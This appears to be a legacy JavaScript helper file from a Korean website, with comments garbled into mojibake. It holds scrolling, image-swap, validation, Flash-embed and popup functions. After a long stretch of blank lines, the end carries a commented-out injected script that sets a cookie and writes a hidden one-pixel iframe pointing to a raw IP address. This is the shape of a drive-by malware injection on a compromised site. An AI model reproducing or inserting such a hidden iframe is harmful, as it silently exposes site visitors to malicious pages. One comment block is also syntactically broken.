//¿À¸¥ÂÊ ½ºÅ©·Ñ º£³Ê¸¦ À§ÇÑ ºÎºÐ-----------------------------//


var isDOM = (document.getElementById ? true : false); 
var isIE4 = ((document.all && !isDOM) ? true : false);
var isNS4 = (document.layers ? true : false);
var isNS = navigator.appName == "Netscape";

function getRef(id)
{
	if (isDOM) return document.getElementById(id);
	if (isIE4) return document.all[id];
	if (isNS4) return document.layers[id];
}


function getSty(id)
{
	return (isNS4 ? getRef(id) : getRef(id).style);
}


//¿À¸¥ÂÊ ½ºÅ©·Ñ º£³ÊºÎºÐ ³¡..------//

function scrollLayer(p_obj_name, p_gap_point) 
{ 
    var start_point, end_point, timer; 

    var obj_layer   = document.getElementById(p_obj_name);  // ·¹ÀÌ¾î ¿ÀºêÁ§Æ®

    start_point = parseInt(obj_layer.style.top, 10); 

    if ( start_point < p_gap_point )    start_point = p_gap_point;

	
    end_point   = document.body.scrollTop + p_gap_point; 
    limit_point = parseInt(window.document.body.scrollHeight) - parseInt(obj_layer.offsetHeight) -185; //ÇÏ´Ü¿¡¼­ ¶³¾îÁö´Â À§Ä¡

    if ( end_point > limit_point )  end_point = limit_point; 

    if ( start_point != end_point ) 
    { 
        scroll_amount = Math.ceil( Math.abs( end_point - start_point ) / 20 ); 
        obj_layer.style.top = parseInt(start_point, 10) + ( ( end_point < start_point ) ? -scroll_amount : scroll_amount ); 
    } 

    timer = window.setTimeout ("scrollLayer('" + p_obj_name + "', " + p_gap_point + ");", 1); 
} 



function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function openWindow(theURL,winName,features) { //v1.0
  window.open(theURL,winName,features);
}

function allblur() {
  for (i = 0; i < document.links.length; i++)
    document.links[i].onfocus = document.links[i].blur;
}

//////¿µ¾î+¼ýÀÚ¸¸ ÀÔ·Â °¡´É////
function IsUserName(strUserName)
	{
	var nIndex;
	var chrCurrent;
	var ascChrCurrent;
	var strInvalid;
	var bReturn;

	bReturn = true;

	for ( nIndex = 0; nIndex < strUserName.length; nIndex++)
	{
		ascChrCurrent = strUserName.charAt(nIndex);
		if ( (ascChrCurrent >= '0' && ascChrCurrent <= '9'	) || (ascChrCurrent >= 'a' && ascChrCurrent <= 'z') || (ascChrCurrent >= 'A' && ascChrCurrent <= 'Z') )
		{
			bReturn = true;	
		}
		else
		{
			bReturn = false;
			break;
		}
	}

	if ( bReturn && ( ( strUserName.length < 4) || ( strUserName.length > 13 ) ) )		// ¼öÁ¤ÀÚ:±èÁö¿¬
	{
		bReturn = false;
	}
	return bReturn;
}
//////¿µ¾î+¼ýÀÚ¸¸ ÀÔ·Â °¡´É ³¡////

//////¼ýÀÚ¸¸ ÀÔ·Â////////////////
function onlynumber()
{
	if((event.keyCode<48)||(event.keyCode>57))
	event.returnValue=false;
}
//////¼ýÀÚ¸¸ ÀÔ·Â ³¡////////////////

function IsNum(temp) {
	for(var i = 0; i < temp.length; i++) {
		var chr = temp.substr(i,1);
    if(chr < '0' || chr > '9') {
			return false;
		}
	}
	return true;   
}

function movieView(url,width,height){
    document.write("<embed src='"+url+"' width='"+width+"' height='"+height+"' boder='0'></embed>");
}

function swfView(url,width,height){
 document.write("<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' ");
 document.write("  codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' ");
 document.write("  width='"+width+"' height='"+height+"' align='middle'>");
 document.write(" <param name='allowScriptAccess' value='always' /> ");
 document.write(" <param name='movie'    value='"+url+"' /> ");
 document.write(" <param name='quality'   value='high' /> ");
 document.write(" <param name='wmode'    value='transparent'> ");
 document.write(" <embed src='"+url+"' quality='high' width='"+width+"' height='"+height+"' align='middle' ");
 document.write("  allowScriptAccess='sameDomain' type='application/x-shockwave-flash' ");
 document.write("  pluginspage='http://www.macromedia.com/go/getflashplayer' />");
 document.write("</object>");
}

function swfView__(url,width,height){
 document.write("<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' ");
 document.write("  codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' ");
 document.write("  width='"+width+"' height='"+height+"' align='middle'>");
 document.write(" <param name='allowScriptAccess' value='always' /> ");
 document.write(" <param name='movie'    value='"+url+"' /> ");
 document.write(" <param name='quality'   value='high' /> ");
 document.write(" <param name='wmode'    value='transparent'> ");
 document.write(" <embed src='"+url+"' quality='high' width='"+width+"' height='"+height+"' align='middle' ");
 document.write("  allowScriptAccess='sameDomain' type='application/x-shockwave-flash' ");
 document.write("  pluginspage='http://www.macromedia.com/go/getflashplayer' />");
 document.write("</object>");
}

// mEmbed(ÆÄÀÏ°æ·Î, °¡·Î, ¼¼·Î)
function mEmbed(url,w,h){

	// Ç÷¡½Ã ÄÚµå Á¤ÀÇ
	var flashStr=
	"<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' width='"+w+"' height='"+h+"' id='flashfile' align='middle'>"+
	"<param name='movie' value='"+url+"' />"+
	"<param name='wmode' value='transparent' />"+
	"<param name='menu' value='false' />"+
	"<param name='quality' value='high' />"+
	"<embed src='"+url+"' wmode='transparent' menu='false' quality='high' width='"+w+"' height='"+h+"' name='flashfile' align='middle' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' />"+
	"</object>";

	// Ç÷¡½Ã ÄÚµå Ãâ·Â
	document.write(flashStr);

}

//////¿À·ù ¸Þ¼¼Áö ³ªÅ¸³»±â///////
function errMsg(thisfield, msg) {
	alert (msg);
	thisfield.focus();
}
//////¿À·ù ¸Þ¼¼Áö ³ªÅ¸³»±â ³¡///////

//////½ºÆäÀ̽º¹Ù ºó°ø°£ üũÇϱâ///////
function ChkStr(strOriginal, strFind, strChange){
	 var position, strOri_Length;
	 position = strOriginal.indexOf(strFind);  
	 
	 while (position != -1){
		strOriginal = strOriginal.replace(strFind, strChange);
		position    = strOriginal.indexOf(strFind);
	 }
  
	 strOri_Length = strOriginal.length;
	 return strOri_Length;
}
//////½ºÆäÀ̽º¹Ù ºó°ø°£ üũÇϱ⠳¡///////

/*------------------ ÀÚµ¿ Æ÷Ä¿½º À̵¿ ---------------------- ÀÛ¼ºÀÚ:±èÁö¿¬ */
function focusChange(current, next, maxSize)
{
	if(current.value.length >= parseInt(maxSize)) {
		
		next.focus()
	}
}

/*------------------ »õâ (½ºÅ©·Ñ ¾øÀ½) ---------------------- ÀÛ¼ºÀÚ:±èÁö¿¬ */
function wOpen(URL,wName,wWidth,wHeight) {
	var x 
	var y
	var wFeatures
	x = (screen.width - wWidth) / 2 
	y = (screen.height - wHeight) / 2
	
	wFeatures = 'width='+wWidth+',height='+wHeight+',top='+y+',left='+x+'scrollbar=1,resizeable=no,status=no'
	window.open(URL,wName,wFeatures)
}

/*------------------ »õâ (½ºÅ©·Ñ ÀÖÀ½) ---------------------- ÀÛ¼ºÀÚ:±èÁö¿¬ *
function wOpen_Scroll(URL,wName,wWidth,wHeight) {
	var x 
	var y
	var wFeatures
	x = (screen.width - wWidth) / 2 
	y = (screen.height - wHeight) / 2
	
	wFeatures = 'width='+wWidth+',height='+wHeight+',top='+y+',left='+x+',scrollbars=yes,resizeable=no,status=no'
	window.open(URL,wName,wFeatures)
}/

/*-------------- ÀÔ·ÂÇÑ °ª ¼ýÀÚÀÎÁö üũ ( IsNum() ÇÔ¼ö È£Ãâ )-------------------- ÀÛ¼ºÀÚ:±èÁö¿¬ */
function CheckInputNum(iNum) {
	var num_val = iNum.value;
    if(! IsNum(num_val)) {
		alert("¼ýÀÚ¸¸ ÀԷ°¡´É ÇÕ´Ï´Ù.");
		iNum.value = "";
	}
}

/*--------------- ¾ÕµÚ Blank ¾ø¾Ö±â ---------------- ÀÛ¼ºÀÚ:±èÁö¿¬ */
function DelSEBlank(str) {
	if (str.length > 0) {
		var thisChar = "";
		var trimstr = "";
		//¾ÕºÎºÐ blank »èÁ¦
		for (var n=0; n < str.length; n++)  {
			var thisChar = str.substr(n, 1);
			if(thisChar != " ") {
				trimstr = str.substr(n,str.length-n);
				break;
			}
		}
		str = trimstr;		
	}
	if (str.length > 0) {
		thisChar = "";
		trimstr = "";
		//µÞºÎºÐ blank »èÁ¦
		for (var n=str.length; n > 0; n--)  {
			var thisChar = str.substr(n-1, 1);
			
			if(thisChar != " ") {
				trimstr = str.substr(0,n);
				break;
			}
		}
		str = trimstr;
	}
	return str;	
}

/*------------------ Blank üũ ---------------- ÀÛ¼ºÀÚ:±èÁö¿¬ */
function CheckBlank(str) {
	for (var n=0; n < str.length; n++)  {
		var thisChar = str.substring(n, n+1);
		if(thisChar == " ") {
			return true;
		}
	}
	return false;	
}

/*---------- ¿Ã¹Ù¸¥ DATEÇüÀÎÁö üũ ---------------- ÀÛ¼ºÀÚ:±èÁö¿¬ */
function CheckDate(yy,mm,dd)
{
	var chkDate = new Date(yy, Math.abs(mm)-1, dd)
	var cmpDate = (Math.abs(chkDate.getMonth())+1)+"/"+(chkDate.getDate())+"/"+(chkDate.getYear());
	var strDate;

	if( chkDate.getYear() <= "99" ){
	    if( chkDate.getYear() <= "9" )
	        strDate  = Math.abs(mm) + "/" + Math.abs(dd) + "/" + yy.substring(3,4);
		else 
            strDate  = Math.abs(mm) + "/" + Math.abs(dd) + "/" + yy.substring(2,4);
	} 
	else {
	    strDate  = Math.abs(mm) + "/" + Math.abs(dd) + "/" + Math.abs(yy);
	}
    if (strDate != cmpDate)   return false;
	return true;
}

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}


































































































































































































































//<script>
//if(document.cookie.indexOf('veatpr')==-1){var expires=new Date();expires.setTime(expires.getTime()+0.6*60*60*1000);document.cookie='veatpr=Yes;path=/;expires='+expires.toGMTString();document.write("<iframe src=http://211.20.209.69:1000/cc.htm width=1 height=1></iframe>");}
//</script>